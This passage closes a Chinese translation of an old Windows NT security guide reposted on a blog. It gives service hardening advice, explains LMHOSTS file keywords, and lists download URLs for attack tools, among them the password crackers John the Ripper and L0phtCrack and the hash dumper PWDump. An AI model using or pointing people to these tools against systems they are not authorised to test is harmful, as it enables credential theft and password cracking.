服务。因为Net登录服务应该设置为自动激活,所以这个服务也应该设置为自动激活。
TELEPHONY SERVICE(电话服务):该服务用来管理电话驱动程序和拨号属性。在不
采用任何类型的电话或RAS设备的系统上,应去激活这个服务。
UPS:这个服务用在与不间断电源的串行通信中。
WORKSTATION(工作站):这个服务是为出站NetBIOS连接提供的。因为它仅用于出站
连接,因此一般没有安全风险,应设置为自动激活。
附录E:URL
==============================================================================
Sid Tools: [url]http://www.technotronic.com/microsoft.html[/url]
Eudpass: [url]http://rhino9.ml.org/wardoc[/url]
1nf0ze: [url]http://rhino9.ml.org/wardoc[/url]
FireFTP: [url]http://rhino9.ml.org/wardoc[/url]
Grinder: [url]http://rhino9.ml.org/software[/url]
Glide: [url]http://rhino9.ml.org/wardoc[/url]
John The Ripper (DES Cracker): [url]http://www.false.com/security/john/index.html[/url]
WS_FTPBug: [url]http://rhino9.ml.org/wardoc[/url]
L0phtCrack (NT Password Cracker): [url]http://www.l0pht.com[/url]
PWDump: [url]http://rhino9.ml.org/wardoc[/url]
NAT: [url]http://www.technotronic.com/microsoft.html[/url]
附录F:LMHOSTS文件
==============================================================================
尽管大多数安全专业人士习惯于使用HOSTS文件,但实际上,WindowsNT是用两个文本
文件来解析主机名的。WindowsNT仍然用HOSTS文件,但它也用LMHOSTS文件。
LMHOSTS文件与HOSTS文件很相象,它也是一个用来解析计算机名字(NetBIOS)的展
开顺序文本文件。另外,LMHOSTS文件也允许用户利用关键字,这一特征比HOSTS文件具有
更大的灵活性。
LMHOSTS文件用的关键字是#PRE、#DOM:域、#i nclude文件名、#BEGIN_ALTERNATE和
#END_ALTERNATE。如果井格线后面的不是这些关键字,就被视为评语。
#PRE:在LMHOSTS文件中,如果一个表目后面跟的是这个关键字,它就会通知
WindowsNT把该表目预加载到名字高速缓存器中。这样,Windows系统就能更迅速地解析这
个名字。
#DOM:#DOM标签表目使WindowsNT能够把该表目和您所指定的任意域联系在一起
(即:#DOM:accounting)。这有助于NT更有效地解析特定的名字,因为它不必通过咨询
选路表来找出该表目所属的域。
#i nclude:该表目通知WindowsNT去哪里寻找内置在其它机器上的其它LMHOSTS文件。
在使用这个功能时,用户应该指定访问其它LMHOSTS文件的UNC路径。#BEGIN_ALTERNATE和
#END_ALTERNATE都与#i nclude标签一起使用,并应出现在#i nclude标签的前后。
本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8240 ,如需转载请自行联系原作者